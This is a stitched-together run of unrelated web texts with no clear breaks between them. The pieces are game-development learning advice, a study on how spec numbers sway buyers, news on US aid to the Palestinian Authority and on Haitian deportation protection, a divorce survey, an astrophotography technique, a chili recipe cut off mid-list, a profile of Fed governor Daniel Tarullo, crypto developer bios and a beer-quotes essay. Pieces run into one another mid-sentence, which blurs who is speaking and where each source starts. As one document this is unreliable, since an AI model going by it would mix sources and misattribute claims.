I was a producer dreaming that some day I will be able to do what my team is capable of and of course I always wanted to create games not just managing production – which is basically boring.
So I started to invest lot of time to learn stuff:
When going to bed instead of watching new series I was watching UDK youtube tutorials – even the same couple of times to understand thing better. Basically understand things was most important for me but I think that I was understanding 5% of the stuff tops.
Try understand – watch and read things couple of times in a row (even if you already know how to do stuff! Watch it again to preserve knowledge! ) but if you can’t understand all of it – move one to another topic after couple of days. Don’t think that you can learn create games quickly just by watching or reading stuff. You can’t. Time is clue here and you will need a lot of time. Don’t stop when you can’t learn something quickly. It will take time and you will see over time that you learned another piece of stuff.
I was trying to do small games using UDK – shooter based of course as Unreal Engine is feature complete for it. (and still is) Thanks to that I always have topic to learn. For example I needed to shoot a projectile – I was learning about projectile creation in general. Basically one topic was triggering another three. My topic list was always big. Thanks to that I always know what do learn next. When my motivation was falling I was changing project.
If you want to learn Unreal Engine you should have a “project” you are working on. Small one. Shooter based. Thanks to that you will always have big todo list to learn stuff. Don’t be afraid to change or modify your project if you stuck for days.
Basically I was doing A->B->A->B with loop for couple of years. I don’t think you can learn creating games in months. You need to invest more time.
Even now I’m watching every video that came from Epic Live Streams. Unreal Engine is growing up, game development is growing up – you need to be on time and learn stuff every day even if you think that you know your stuff already.
Don’t stop learning. Especially if you are senior.
Answer for these questions is simple but very hard to implement in your life – you need to invest your time to learn new stuff. Investment is needed and will take time. In the end you will be happy that you are sitting (or standing 😉 ) and just making something by hand.
In the book I will be linking with reads and youtube resources. Hope I will be able to help you find a way.Ars Technica has a fantastic article on a recent study that found that numerical specifications in adverts have a huge effect on our choices, even when they’re meaningless.
The numbers can be ratings, technical details, supposed representations of quality – it doesn’t seem to matter. In general, bigger is better and the study found that we tend to be swayed by the numbers even when it directly contradicts our experience.
The first test involved megapixels. The authors took a single image, and used Photoshop to create a sharper version, and one with more vivid colors; they told the students that the two versions came from different cameras. When told nothing about the cameras, about 25 percent of the students chose the one that had made the sharper image. But providing a specification reversed that. When told that the other model captured more pixels using a figure based on the diagonal of the sensor, more than half now picked it. When it comes to specs, bigger is better, too, even if the underlying property is the same. Given the value in terms of the total number of pixels captured, the preference for the supposedly high-resolution camera shot up to 75 percent.
The researchers thought this might be a problem with the fact that not everyone is technically minded, so they tried various other experiments with everything from scented oil to ice-cream – all with the same effect.
To quote the researchers “even when consumers can directly experience the relevant products and the specifications carry little or no new information, their preference is still influenced by specifications, including specifications that are self-generated and by definition spurious and specifications that the respondents themselves deem uninformative.”
Link to Ars Technica write-up of study.
Link to study paper.
Link to DOI.Photo Credit: Screenshot
Congresswoman Kay Granger (R-Texas), who sits on the House Appropriations Committee, is very upset with President Obama’s last-Friday-in-office decision to send the Palestinian Authority $221 million, because Granger had placed a hold on it, because the PA had broken its commitment to the US and sought membership in international organizations, according to an early Wednesday PA report. Those Congressional holds are not legally binding, but they are part of the ongoing business between the Administration and the branch of the legislator which holds the purse strings. Like disgruntled office workers on their last day at work, Obama and Kerry broke that trust because they no longer had any business with this body.
So now President Trump’s State Department says it plans to review the rule-breaking decision to send $221 million to a Palestinian Authority that also breaks the rules, AP reports. On Tuesday, the department said it would make adjustments to in this unruly payment, to make sure it complies with its new priorities.
Advertisement
Dr. Jonathan Schanzer of the Foundation for Defense of Democracies told Business Insider that “Congress had been looking at various behaviors from Palestine — unilateral attempts at statehood, corruption, incitement of violence, and paying salaries to people in jail for terrorism — and that’s why the hold has been there.”
An earlier AP story reported that the Obama administration had been pressing Congress to release the money for a while, saying it was needed for humanitarian aid, political and security reforms, and “rule of law.”
Granger said in a statement Tuesday: “I worked to make sure that no American taxpayer dollars would fund the Palestinian Authority unless very strict conditions were met. While none of these funds will go to the Palestinian Authority because of those conditions, they will go to programs in the Palestinian territories that were still under review by Congress. The Obama Administration’s decision to release these funds was inappropriate.”
The Palestinian Authority pays out an estimated $140 million a year to the families of suicide bombers and salaries to imprisoned terrorists, which is around 10% of their annual budget.
The wife of the Armon HaNatziv truck terrorist who killed 4 IDF soldiers will begin receiving a lifetime monthly pension of NIS 2800, and one-time bonus of NIS 6000 from the Palestinian Authority.By LUKE SALKELD
Last updated at 23:27 17 January 2008
They may have promised to have and to hold for richer and for poorer.
But wives are most interested in the richer part, it was claimed yesterday.
In a study of married men and women, the majority of wives - 59 per cent - said they would divorce immediately if their future economic security was assured.
Scroll down for more...
The survey also found than half of husbands thought their marriage was "loveless".
And among both sexes, more than one in ten wished they had wed someone else.
Responding to the astonishing results, relationship experts warned couples to avoid getting stuck in a rut - or risk the trauma of divorce.
The survey of 2,000 adults by a firm of solicitors revealed that 12 per cent would stay in an unhappy relationship just for an easy life.
Almost 30 per cent said they were staying in a doomed marriage to save themselves going through a massive upheaval.
Thirty-seven per cent said they were staying for the sake of the children.
Some said they were worried about what they would lose if they left their partner, with 42 per cent fearing they would have to give up their home if they split.
Almost a third of those polled were concerned they would be left with absolutely nothing if they walked out on their marriage.
And 30 per cent of men said they were scared that they would have to leave without their children.
Nearly half of those questioned, both men and women, would stay with their partner for the sake of the family unit.
The survey was commissioned by solicitors Seddons after a rush of divorce applications in the first week of the new year.
Overall, 12 per cent said they were in a loveless relationship and more than a third (35 per cent) believed their marriage would turn stale in the near future.
A shocking 56 per cent admitted they were not completely happy in their relationship - and more than half said they had considered splitting from their partner.
A spokesman for the marriage counselling service-Relate said: "It's so easy for married couples to get stuck in a rut once the realities of paying the bills and getting the children's breakfast sets in.
"Relationships inevitably change over time. Couples who address their problems and talk to each other when they feel they may be taken for granted stand a better chance of pulling through.
"Divorce impacts on every single area of a person's life. Dividing up the family home, pets and everything they own is just part of the process."
Half of those surveyed would consider going to see a counsellor in an attempt to get their relationship back on track before heading for the divorce courts.
However, one in five thought it would not be worth the hassle.
A quarter said the thought of high legal fees prevented them from having a divorce and six in ten hadn't heard of mediation for divorce settlements.
Deborah Jeff of Seddons said: "Sixty per cent were not aware of how mediation can be used to improve communication between parties, minimise the impact of divorce and keep legal fees to a minimum."Media playback is unsupported on your device Media caption 'Crying every day': Haitians could be sent home under Trump
The US is to terminate a programme that gives more than 50,000 immigrants from Haiti protection against deportation.
Immigrants from the Caribbean nation received protected status in 2010 after a devastating earthquake.
But the Trump administration says conditions there have now improved and its nationals can return safely.
It says their protected status will end in July 2019, giving Haitians 18 months to return or otherwise legalise their immigration status in the US.
"Those extraordinary but temporary conditions caused by the 2010 earthquake no longer exist," a statement from the US Department of Homeland Security said.
"Significant steps have been taken to improve the stability and quality of life for Haitian citizens, and Haiti is able to safely receive traditional levels of returned citizens," the statement added.
Image copyright AFP Image caption The Haiti earthquake left 220,000 dead and 1.5 million people displaced
But campaigners say the Trump administration has unfairly singled out small numbers of the most vulnerable people as part of its tougher stance on immigration.
In a statement, House Democrat Leader Nancy Pelosi said: "Deporting tens of thousands of men and women back into the nation will only deepen the suffering in Haiti."
"I completely disagree with the characterization that the situation in Haiti has improved", she added.
The Temporary Protected Status (TPS) programme grants temporary visas to more than 435,000 people from 10 countries ravaged by natural disasters or war.
The move to terminate TPS for Haitians comes after a similar step was taken against 5,000 Nicaraguans. Protection for 86,000 Hondurans in the US has been extended.
A decision on El Salvador's status, which was given TPS after its 2001 earthquake, is due in January.
The US decision to end TPS could have repercussions in Canada, where thousands of Haitians flocked over the summer due to fears of deportation.
Montreal was forced to set up temporary shelters to house the asylum seekers who crossed illegally into the province of Quebec after the Trump Administration signalled last May it was considering cancelling TPS for Haitians.
At its August peak, over 5,500 asylum seekers crossed into the province.
Canadian members of Parliament continue to travel to the US on outreach missions to cultural communities in an effort to counteract misinformation they believe is bringing them to Canada's doorstep, including that asylum is easy to obtain.
Canada completely lifted its own protected status for Haitians over a year ago.
In 2016, about 50% of all asylum claims made by Haitian nationals were rejected, and they were subsequently deported.The Precession of Earth – New Photo Technique showing a Vega Polar Startrail.
Featured as NASA´s Astronomy Picture of the Day (APOD).
Since the very first moment I read and learned about the Precession of Earth that I was fascinated with the possibility of having a different star than Polaris, pointing to north, although in that time, few years ago, I didn’t had the right technology and even the chance to could show in a real image how it would be…how would be the sky of my land if I had another star in the place of the well known, Polaris?
After a long time of burning my mind with some new ideias, I figured out how I could do it, developing what I think is, a totally new astrophotographic technique never applied before, and where I can show in real time the sky rotating around another star, simulating the shifting of Earth Axis even being inside our Earth.
In astronomy, axial precession is a gravity-induced, slow, and continuous change in the orientation of an astronomical body’s rotational axis. In particular, it refers to the gradual shift in the orientation of Earth’s axis of rotation, which, similar to a wobbling top, traces out a pair of cones joined at their apices in a cycle of approximately 26,000 years.
A consequence of the precession is a changing pole star. Currently, Polaris is extremely well suited to mark the position, as Polaris is a moderately bright star located about 0,7º degrees from the pole. But with the crescent light pollution is Increasingly difficult to distinguish the few bright stars in the middle of cities, so near the year 14 000, the brilliant Vega in the constellation Lyra, is touted as the best north star. Although, it never comes closer than 5° to the celestial pole.
When Polaris becomes the north star again around 27,800, due to its proper motion it then will be farther away from the pole than it is now, while in 23,600 BC it came closer to the pole.
What I did to create the both startrails and time lapse images, was to use 2 mountings Vixen Polarie, one to pointing to the actual Polaris Axis and making all the stars staying fixed, but using another Polarie attached to the first one, I could simulate again the Earth Axis Rotation using the sideral motion inverted (I mean, like if I was in the south pole, near the batteries you can switch the button to (N) north or (S) south motion).
But I had special carefully with some things. I have waited until Vega star reach the same altitude I had in my observing latitude, in my case 38º, to have the same distance to the horizon that I have when looking to Polaris.
Very Important: The second condition to give the right movement, was to align carefully the star Vega near the center of the image (my new Earth Axis – now a Vixen Polarie Axis), to create the axis rotation simulating the 5º separation of the celestial north in +14000 (year). I also used the Live View magnifier with the grid option to have a more precise result.
*Important Note: Precession changes the direction of the Earth axis from Polaris to Vega on the celestial sphere, but the positions where the axis crosses the surface of Earth will not change by precession. So the north on the Earth from the observation point will not change, and the latitude of the observation point will not change too. Although, I choose the option that includes “apparently” almost the same landscape field view and where fits both Polaris (at left) and Vega (center), because if I had putting the Polaris in the same central framing position, as I did with Vega ( remembering that is the only possible way – as a condition – to simulating the Earth Axis rotation using the Vixen Polarie sideral motion, and show nowadays, the motion of the stars around Vega in a real Time Lapse movie sequence), I would loose the same landscape field of view with the Castle Tower, and this was also important to give people the notion that the image was really made in the same place. Vega is about 51º away from Polaris, so it means a big change in the field of view towards another position in the sky and consequently, in the landscape, in this case towards left, to Azimuth 0º – North, where stand the Polaris star.
As this technique induces movement, the landscape will move a bit from the first frame to the last one, but in the final startrail “still image”, I made a mask merging the landscape with the first frame again to have a more pleasant result.
All the images were taken from inside the Mourão Castle, in the Dark Sky Alqueva Reserve, the First Starlight Tourism Destination in the world, in Alentejo, Portugal.
Technical info:
Polaris Startrail starts in 19/04/2015 at 23h48 and Vega startrail starts in 20/04/2015 at 1:07
Canon EOS 6D – Canon EF 8-15 f/ 4L Fishseye USM at 8mm (All Sky). Exp. 30 sec. ISO 2500
BUY IT NOW | COMPRAR AGORA~
~
~
~
~
~
~
~
~
~
Quinoa and Quinoa Chili
Prep Time: 10 mins Cook Time: 1 hour Total Time: 1 hour 10 mins
Quinoa is a power-packed food that is delicious served alone or added to soups, salads and cassreroles. This Quinoa Chili is a terrific savory option for those looking to decrease meat in their diet (although even carnivores will love it!)
Author: Carissa Casey Serves:: 4
Ingredients: Cooked Quinoa:
½ C. dried quinoa (red quinoa works well in Quinoa Chili)
1 C. water or broth
1 pinch salt
Quinoa Chili:
1 small onion, chopped
2 cloves garlic, minced
1 zucchini or yellow squash, finely diced or pulsed in a food processor
1 T. olive oil, canola oil, or drippings
1 large can petite diced tomatoes
1 small can tomato sauce
¾ C. water, beer, or broth
1 packet chili seasoning mix (*see below for gluten-free alternative)
1 can pinto or chili beans
1 can black beans
1½ C. cooked quinoa
¼ C. cooked corn (drained, if from a can)
fresh cilantro, shredded cheese, & sour cream or Greek yogurt (for serving)
*Gluten-Free Chili Spice Mix:
-2 tsp. chili powder
-1½ tsp. cumin
-1 tsp. garlic powder
- |
He went against the grain early on with his choice for a college major: English at Georgetown University instead of political science, economics, or government. (He’s still a huge reader of fiction, especially the work of William Faulkner.) After studying law at the University of Michigan, he returned to his native state to teach at Harvard Law School.
There, he ran into a buzz saw. He and two other young professors were denied tenure largely because of their association with the Critical Legal Studies movement, then a highly criticized school of thought that argued that factors such as economic mobility and social oppression should be taken into account in the disposition of legal disputes. Tarullo’s ideas clashed with the established order at the law school, with tenure a major battleground, according to articles by the Harvard Crimson at the time. “It was very disconcerting as it happened,” Tarullo remembers. “If you think about, if I had gotten tenure then “… I would not have gone to work for Senator [Edward] Kennedy right away. That began for me what was a very fortunate streak of really good, timely jobs at the right moment.”
Indeed, Tarullo jumped from the wilds of academia to the swamp of politics, landing in Kennedy’s office, where he was a senior policy adviser on employment issues. He campaigned for Michael Dukakis for president, and he later worked in the Clinton administration in a number of senior roles in international economic policy and trade, along with contemporaries such as Lawrence Summers and Jacob Lew.
After leaving the Clinton White House, Tarullo became preoccupied with the nation’s crazy-quilt set of financial regulations. He joined the faculty at Georgetown University Law Center. Banking became his next obsession. And he began to develop his own, jaundiced view of the system.
“There had been a fundamental shift as the industry had changed. Capital markets and traditional lending had become more integrated,” he says. Regulators tried to keep commercial lending booming by chipping away at the regulations and structure put in place by the New Deal, culminating in the congressional act in 1999 that largely eliminated the divisions between traditional and investment banking.
By the time Tarullo encountered a young Sen. Barack Obama in Congress, he had built a reputation as a liberal reformer, someone who stood up to the big banks and embraced regulation. Tarullo joined Obama’s 2008 campaign and was rewarded when the new president made him his first nominee to the Fed. In the wake of the collapse of Bear Stearns and Lehman Brothers, Tarullo seemed well-matched to the moment. “Obviously, the whole financial crisis shook the institution [of the Federal Reserve], no matter if you were involved with supervisory, regulatory, or monetary policy. It didn’t much matter,” Tarullo says.
INSIDE THE TEMPLE
Tarullo’s office sits on the Fed’s second floor, among corridors so quiet that it seems like a museum. Photographs of Tarullo’s grandchildren line the mantel. The wall above his desk shows his Massachusetts roots with pictures of the Red Sox and the town of Gloucester, where he and his family take beach vacations.
As a member of the Board of Governors, Tarullo acts as the institution’s lead for financial regulation. He’s responsible for setting the agenda for the independent Fed’s supervision and regulation of banks — everything from the amount of long-term debt they hold, to requirements about the amount of capital they must keep, to international banking laws, to the stress tests that ensure the banks can handle another financial shock.
It’s a huge portfolio that allows Tarullo to help write the regulations for Dodd-Frank, as well as propose additional, even stricter standards. At his disposal are hundreds of well-trained Fed employees, academics, economists, and bank supervisors to help him implement his agenda.
Bernanke’s delegation of power left Tarullo in charge of thinking through a new system of financial regulation — an area that he had spent more than a decade studying in academia. Tarullo was ideally suited to work with Congress to develop Dodd-Frank and, later, write the regulations. “He took control quickly. He had some ideas because he had written on Basel [international bank regulations]. There was not a big learning curve for him to climb,” says Donald Kohn, a former Fed governor.
Quickly, Tarullo set out to reshape the way that the Fed oversaw banking. He beefed up staffing in the bank-supervision division at the Board of Governors, from 255 employees in 2008 to 383 as of 2012, according to Fed data. And he had little patience for the status quo: Former Fed staffers say he was dismissive of employees he had inherited who had stood by as two major Wall Street institutions collapsed. “He basically labeled that group as the people who caused the financial crisis,” says one former Fed employee. Eventually, eight top people from the division either retired or took positions in the private sector.
Tarullo was determined to shake up the culture. He altered the way the division and committee did business, a move that remains divisive among Federal Reserve employees. He reduced the number of staffers who typically attend policy meetings and offer input, preferring smaller groups of two or three to more-typical meetings of 15 or more employees. He started to lean heavily on two top lieutenants, Mark E. Van Der Weide and Anna Lee Hewko, instead of a wider range of Fed career employees. Critics say he was silencing dissent. “He was a change agent, and everyone got out of his way,” says one former staffer. “I’m much more fond of him looking back than I was at the time.”
Then, there is Tarullo’s temper. Ask Fed staffers about it, and they can trade tales about which Tarullo blowup was the most legendary. He’s even publicly dressed down staffers he likes. Once, Tarullo threw a stack of papers at Kieran Fallon, then the associate general counsel for legislation at the Fed, according to four staffers who Fallon later confided in about the incident. The reason? Tarullo did not like the way that Fallon had drafted a rule. (Both Tarullo and Fallon declined to address the incident.)
Tarullo has even clashed with Vice Chairwoman Janet Yellen, whom the president nominated recently to replace Bernanke, something that one source who knows both of them calls “an open secret inside the building.” “It’s not a dispute over policy differences,” says the source, describing their differences. “It’s much more of an issue of personal style, with Dan thinking he has the right to dominate the regulatory sphere, and Janet thinking, ‘I’m the vice chair of this organization and I outrank you. You should at least tell me something.’ “
Even before Yellen arrived at the Federal Reserve in Washington, the two didn’t see eye to eye over the stress testing of big banks, according to two former Federal Reserve staffers. At that time, Yellen served as the head of the San Francisco Fed, one of the central bank’s regional districts, and thought that Wells Fargo, one of the banks in her district, should not be treated the same during the stress tests as some other large institutions. Tarullo eventually came around to her point of view after a few rounds of negotiations and phone calls, the staffers say.
Tarullo’s no favorite of the financial-services industry, either — as much as for his dismissive demeanor as for his principles. He looks at the ceiling when speaking, not at anyone at the table. He shows no interest in compromise. The nicest compliment one financial-services executive could muster about Tarullo was that he shows up. “He certainly is accessible,” says the senior exec for a financial-services industry association, who asked to remain anonymous to speak candidly about a Federal Reserve official. “He’ll come to the meetings, but I don’t know if he is convincible of anything. He sticks to his positions.”
The president and CEO of the Independent Community Bankers of America, Camden Fine, remembers one meeting that Tarullo invited him to where the two argued for three hours over the same set of points. “He fires off his question”…. It is a rather different meeting with him than I’ve had with other Fed governors,” says Fine, whose trade association represents 7,000 community banks. Their meeting produced nothing. “We left the room pretty much as we entered it,” Fine says. Other bankers and lobbyists describe similar reactions from Tarullo.
But as he will be the first to say, Tarullo isn’t at the Fed to win over the banking industry. Yet, despite his status as a progressive hero, there’s a strong chance his efforts will fall short. Regulators have yet to finalize the majority of bank regulations promulgated under Dodd-Frank. Few observers believe the law will prevent another major financial crisis or reduce the sway of major banks. “If the whole purpose of Dodd-Frank was to eliminate this concept of too-big-to-fail and you judge it by that standard, then it’s a failure,” says Cornelius Hurley, a professor of banking law at Boston University and a former assistant general counsel of the Board of Governors of the Federal Reserve system. “If I had to give it a grade, I’d give it a D.”
Tarullo knows the ultimate reach of Dodd-Frank is still up for grabs. “It remains to be judged by journalists, academics, and the public — whether, in the end, the outcome of the whole thing was worth all of that along the way,” he says. The regulatory delays remain a source of frustration. Nearly five years since he joined the Fed and five years after the start of the financial crisis, just over 40 percent of the rules have been finalized by Treasury and other agencies, according to Davis Polk, a law firm that tracks the law’s progress. Obama and Treasury Secretary Jacob Lew promised over the summer to try to finish Dodd-Frank by the end of this year, but that seems overly optimistic now.
“You know, the American people don’t much care whether my job is frustrating or not,” Tarullo says. “The question is: What’s the best outcome? I think the jury is still out on whether this process will produce, in the end, a more considered set of regulations or not.”
THE ROAD AHEAD
Even after the regs are finished, bank regulators still need to enforce them stringently for them to matter, and this reality promises to be another potential disappointment to Tarullo. While he oversees bank supervision and regulation at the Federal Reserve, overall, a patchwork of government agencies from the FDIC to the SEC to the Office of the Comptroller of the Currency regulates the financial system.
“The thing about Dodd-Frank is that it provides a lot of regulatory authority but mostly in general terms, so how that authority is exercised needs a lot of shaping,” Tarullo says. Many of the regulations being put forth are difficult to enforce because of the many caveats and questions that accompany them. “I think the regulators — and this is not Tarullo’s fault, but he’s gone along with it — they’ve lost the appreciation for clarity and simplicity,” says Hurley, the law professor. “They’ve gotten all tangled up in their complicated formula.”
Still, Tarullo has made some progress since 2009. He has cemented the Fed’s dominant role in financial regulation and bank supervision out of its central Washington office, even though the largest banks are primarily clustered in New York City near the regional New York Federal Reserve. He shifted the processes internally at the Fed to push for more quantitative analysis and to look at risk-taking across the system. He’s proposed a number of ideas to reduce the footprint, complexity, and influence of the largest banks across the global financial system — from new rules on liquidity to a push to change the structure of the wholesale funding markets, where banks turn for cash in a pinch.
But that’s where the list could end. There’s no guarantee, for instance, that Tarullo’s own mini-empire inside the Fed will remain intact once Yellen takes over and the president appoints other Fed governors. Four out of the seven governor seats are expected to turn over in the coming year; each new appointment brings with it a wave of reeducation about the Fed’s stances on bank regulation, not to mention new alliances for Tarullo to try to build to keep his agenda alive. “Everyone’s role will change. It’s a big moment for the Fed,” says Simon Johnson, an economist and professor at MIT’s Sloan School of Management.
One wrinkle may come if the White House appoints someone to the post of vice chair of supervision — a new role inside the Federal Reserve, created by Dodd-Frank. It’s a position that has sat vacant since its inception and requires Senate confirmation. Tarullo has acted as the de facto vice chair of supervision since his arrival, but he never got the formal nod for the post. Longtime Fed observers predict that the appointment of someone else to that position could cause friction with Tarullo, who will zealously guard his turf.
There’s also no guarantee that Tarullo will stick around for the duration of Yellen’s term as chairwoman, assuming she gets confirmed. Governors typically serve for five to eight years, and, as of January, Tarullo will have served for a remarkably hectic five. Longtime Fed watchers say that Tarullo may leave early in Yellen’s tenure, possibly as soon as this winter or spring — a fact that Tarullo does not confirm or deny. “When and whether I go is dependent on a lot of things, but the identity of the chair, that wouldn’t be an important factor,” Tarullo says.
The question over the next decade is whether Tarullo won or lost in his battle to regulate the country’s largest banks — and if all of the regulations he fought for behind the scenes will matter, particularly if another financial crisis hits. Banks now have had three years since the passage of the 2010 Dodd-Frank Act to lobby and strategize about ways to circumvent or fight the law, and Tarullo’s vigilante approach to bank regulations may not matter if he does not remain at the Fed to keep watch over its supervisory power.
Democratic Sen. Sherrod Brown, a member of the Banking Committee who has worked closely with Tarullo, says absent another calamity, it may be impossible to know whether reform has been effective. “I don’t expect one day to say that Wall Street lost. We won,” he says. “It’s a question of degrees”…. It’s never as safe as we’d like it to be.”
Knowing Tarullo, that’s not going to be a good enough answer.Alexander N. Developer Alexander N. aka Aizensou is a full-stack developer who has experience in many programming languages (C++, C#, Python, Perl, Java etc.) and has been involved in the cryptocurrency space since 2013. He has a broad development portfolio from low level APIs in Python and C++ to Android native application in Java. In addition to his involvement in cryptocurrencies, Alexander was doing his P.h.D. in machine learning at a German university from 2012 to 2016.
Leandro Reinaux Developer Leandro Reinaux (leoreinaux) has 8 years of experience as a fullstack developer, in a wide range of programming languages (C#, C++, Java, Ruby). Founder of Even3, Brazilian leader platform for academics and scientific events. Believes that the cryptocurrencies will be the new standard financial and transaction system. TwitterThere are plenty enough well-known quotes about beer. Some of the best-known, unfortunately, are made up. However, it’s still possible to come across great, genuine yet little-known snippets. Here are 20 of my favourite beer quotes in need of wider broadcasting:
“If [beer] is … the people’s beverage – and nobody, I take it, will deny that it is just that – its history must of necessity go hand in hand, so to speak, with the history of that people, with the history of its entire civilisation.”
John P Arnold, Origin and History of Beer and Brewing, 1911
If I ever worry that the history of beer is a little trivial, I re-read this passage from the American-German beer writer John Arnold and feel that, yes, I’m recording part of the story of my people, my civilisation. OK, people?
“See that ye keep a noble house for beef and beer, that thereof may be praise given to God and to your honour.”
Advice given to Leonard, titular sixth Lord Dacre, in 1570
Leonard Dacre was one of the leaders of the Northern Rebellion, a revolt designed to put Mary, Queen of Scots on the throne of England. But he managed to lose the battle of Gelt Bridge in Cumberland in 1570 despite outnumbering the Elizabethan forces two to one with his private force of 3,000 armed men, raised from the local tenantry. He subsequently fled to Flanders via Scotland, dying three years later. Part of the motive behind his taking part in the rebellion seems to have been his failure to claim the title of Baron Dacre of Gilsland after the death of his nephew, the fifth Lord Dacre. In the manoeuvrings before the rebellion took off, Leonard was sent a letter by one of his dependants, Richard Atkinson, telling him how to maintain the loyalty of the Dacre tenants in Cumberland, which included the excellent advice above about beef and beer.
“You must have seen great changes since you were a young man,” said Winston tentatively. The old man’s pale blue eyes moved from the darts board to the bar, and from the bar to the door of the Gents … “The beer was better,” he said finally. “And cheaper! When I was a young man, mild beer – wallop we used to call it – was fourpence a pint. That was before the war, of course.” “Which war was that?” said Winston. “It’s all wars,” said the old man vaguely. He took up his glass, and his shoulders straightened again. “’Ere’s wishing you the very best of ’ealth!”
1984, by George Orwell, published 1949
Orwell described the elderly prole that Winston Smith was trying to interview as “eighty at the least”, which, curiously, would have made him almost exactly the same age as Orwell himself would have been had the consumptive socialist still been alive in 1984. “Wallop” was indeed the nickname, in the 1930s, at least, for mild ale, four old pence the price per pint, and we know George Orwell liked mild. It’s good to see beer get a mention in a book studied by so many teenagers for English literature exams. Even if they probably have to have “mild” explained to them. (The screen grab up there, incidentally, is from the 1954 BBC TV production, with Peter Cushing as Winston Smith – you can see the whole bar scene here. You’ve got to love the 10-sided beer mugs, and the wooden cask on the bar, far more 1954 than 1984. Twelve cents for two half-litres? Outrageous. And yes, that’s Wilfred Bramble playing the old man: he was, in fact, only a year older than Cushing.)
The Rat, meanwhile, was busy examining the label on one of the beer-bottles. “I perceive this to be Old Burton,” he remarked approvingly. “Sensible Mole! The very thing! Now we shall be able to mull some ale. Get the things ready, Mole, while I draw the corks.”
Kenneth Grahame, The Wind in the Willows, 1908
Here’s a mention of beer in a book for children. I discovered while researching this post that I am actually referenced on the subject of Old Burton in The Annotated Wind in the Willows over this exact quote from the “Dulce Domum” chapter of TWITW, one of my favourite parts of one of my favourite children’s books. Like all great children’s authors, Grahame wrote as much for the adult as the child, and adults reading this to their small ones would have smiled with recognition at the mention of Burton Ale. The version of Wind in the Willows illustrated by Arthur Rackham (see picture) actually shows Ratty carrying bottles clearly labelled with the red diamond trademark used on Bass Burton Ale. The Rat and the Mole, incidentally, give some of the mulled ale to the (underage) fieldmice who have come round carol-singing – hem hem. Don’t try that yourself.
Some folks of cider make a rout
And cider’s well enough no doubt
When better liquors fail;
But wine, that’s richer, better still,
Ev’n wine itself (deny’t who will)
Must yield to nappy ale
John Gay (1685-1732), “Ballad on Ale” from Songs and Ballads
John Gay, today, is known almost entirely for being the writer of The Beggar’s Opera, but he also wrote a considerable amount of light verse, including the marvellously brisk “Ballad on Ale”. I love the whole poem, actually. “Nappy” in this context means “foaming” and/or “strong”.
It was this day a twelvemonth since we left England, in consequence of which a peice [sic] of cheshire cheese was taken from a locker where it had been reservd for this occasion and a cask of Porter tappd which provd excellently good, so that we livd like English men and drank the hea[l]ths of our freinds in England.
The Endeavour Journal of Joseph Banks, August 25 1769
When Joseph Banks set out on the great exploratory voyage with Captain James Cook across the Pacific that made both men famous, the ship was well stocked with provisions from England, including London porter. At the time the porter was tapped to celebrate being away from home for a whole year, the Endeavour was heading south from Tahiti towards New Zealand. The porter they drank had travelled across the Equator down to Rio de Janeiro, around Cape Horn and then halfway across the Pacific, and was still in fine condition: so much for the idea that only well-hopped pale ales could survive long journeys to hot climes.
Talking of beer and children, as we were earlier, here’s a quote from Charles Dickens that gets far fewer outings than the many better-known Dickens beer quotes:
It was darkly rumoured that the butler, regarding him with favour such as that stern man had never shown before to mortal boy, had sometimes mingled porter with his table beer to make him strong.
Charles Dickens, Dombey and Son, 1848
The boy being given the porter in his table beer, at Dr Blimber’s school in Brighton, is Paul Dombey junior, who is just six years old. And nobody raised an eyebrow. Table beer was still being handed out at British schools certainly, it appears, to at least the middle of the 19th century.
Glorious Mild, that Drink Divine,
That Nectar, far surpassing Wine,
That Noble Cordial swill’d by Porters,
And bless’d by Soldiers at their Quarters
The Hudibrastick Brewer, 1714, by Ned Ward (1660 or 1667-1731)
Ned Ward was a writer, satirist and poet and, from 1712, successively an alehouse keeper and tavern proprietor, before ending his days running a coffee house. Judging by The Hudibrastick Brewer, he was brewing his own beer at the alehouse he was keeping in Clerkenwell Green, London when the poem was written, having decided that “Men of Sense must own is better/To live by Malt, than starve by Meter”. (Despite what Wikipedia claims, there is no evidence that he kept the King’s Head tavern by Gray’s Inn before moving to Clerkenwell: he only lived there.) We can assume that at his Clerkenwell alehouse, Ward brewed, and sold, mild ale, which in the early 18th century meant a drink low in hops, and sold quickly before it had time to sour, but probably pretty strong, perhaps seven to eight per cent alcohol by volume. Looks like porters were still drinking mild, too, rather than the drink that was to be developed in the next decade, and would take their name. “Hudibrastick” is a style of verse used in, and named after, Samuel Butler’s poem Hudibras, written in the 1660s and 1670s. Ward also looks to have written a couple of the earliest pub guides to London, A Vade Mecum for Malt Worms, published around 1718, and A Guide for Malt Worms, published a couple of years later. They are great sources for information on the drinks available in London pubs at the time (porter is not mentioned at all, and three-threads only in passing), and a surprising number of the pubs listed in them are still open.
She was luxuriously tired and her muscles felt sore from the unaccustomed strain of riding astride. Nothing had ever tasted so good as the cool golden ale she swallowed from a pewter tankard. She slept deeply that night and longer than she had intended …
Kathleen Winsor (1919-2003), Forever Amber, 1944
Forever Amber, set in 17th century England, is the story of Amber St Clair, an orphan who – basically – shags her was to the very top of Restoration society. It was the Fifty Shades of Grey of the 1940s, condemned by the Catholic church, banned in fourteen US states and selling three million copies. Its author, a Midwestern US housewife, read almost 400 books as part of her research before writing the 972-page novel. Drying malt using coke was very probably taking place by the Restoration, and Samuel Pepys was drinking bottles of “Hull Ale” in London in 1660, which was most likely ale from the pale-malt-making Midlands shipped down via the Trent, so it might have been possible to drink golden ale from a pewter pot at the time of the Great Fire. But even if the details are wrong, sex and beer – what’s not to like, frankly.
“Only a pint at breakfast-time, and a pint and a half at eleven o’clock, and a quart or so at dinner. And then no more till the afternoon; and half a gallon at supper-time. No one can object to that.”
Lorna Doone (1869), by Richard Doddridge Blackmore (1825-1900)
This is Jan Ridd, the hero of Lorna Doone, defending the 17th-century Englishman’s beer-drinking habits to an Italian woman who kept a Somerset alehouse (don’t ask, it’s an important plot point). I cannot help feeling that Dickie B is taking the micturation out of his hero here somewhat, but as Blackmore’s grave is less than three minutes’ walk from my house in West London, I’ll cut him some neighbourly slack. And it’s certainly true that in the 17th century, an Englishman could well be putting away a gallon of ale a day, with an Englishwoman not that far behind.
“Let’s have filleted steak and a bottle of Bass for dinner tonight. It will be simply exquisite. I shall love it.”
“But my dear Nella,” he exclaimed, “steak and beer at Felix’s! It’s impossible! Moreover, young women still under twenty-three cannot be permitted to drink Bass.”
“I said steak and Bass, and as for being twenty-three, shall be going in twenty-four tomorrow.” Miss Racksole set her small white teeth.
The Grand Babylon Hotel, by Arnold Bennett, 1902
